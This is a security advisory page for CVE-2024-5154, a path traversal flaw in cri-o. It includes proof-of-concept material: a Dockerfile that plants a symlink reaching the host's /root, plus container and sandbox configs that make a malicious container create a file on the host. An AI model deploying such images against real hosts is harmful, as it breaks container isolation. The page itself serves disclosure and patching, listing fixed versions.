Advisory Database
  • Advisories
  • Dependency Scanning
  1. golang
  2. ›
  3. github.com/cri-o/cri-o
  4. ›
  5. CVE-2024-5154

CVE-2024-5154: malicious container creates symlink "mtab" on the host External

June 4, 2024 (updated December 11, 2024)

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}

and this sandbox config

{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}

will create a file on host /host/mtab

References

  • access.redhat.com/errata/RHSA-2024:10818
  • access.redhat.com/errata/RHSA-2024:3676
  • access.redhat.com/errata/RHSA-2024:3700
  • access.redhat.com/errata/RHSA-2024:4008
  • access.redhat.com/errata/RHSA-2024:4486
  • access.redhat.com/security/cve/CVE-2024-5154
  • bugzilla.redhat.com/show_bug.cgi?id=2280190
  • github.com/advisories/GHSA-j9hf-98c3-wrm8
  • github.com/cri-o/cri-o
  • github.com/cri-o/cri-o/security/advisories/GHSA-j9hf-98c3-wrm8
  • nvd.nist.gov/vuln/detail/CVE-2024-5154
  • pkg.go.dev/vuln/GO-2024-2919

Code Behaviors & Features

Detect and mitigate CVE-2024-5154 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions starting from 1.28.6 before 1.28.7, all versions starting from 1.29.4 before 1.29.5, all versions starting from 1.30.0 before 1.30.1

Fixed versions

  • 1.28.7
  • 1.29.5
  • 1.30.1

Solution

Upgrade to versions 1.28.7, 1.29.5, 1.30.1 or above.

Impact 8.1 HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Learn more about CVSS

Weakness

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
  • CWE-668: Exposure of Resource to Wrong Sphere

Source file

go/github.com/cri-o/cri-o/CVE-2024-5154.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 14 May 2025 12:14:41 +0000.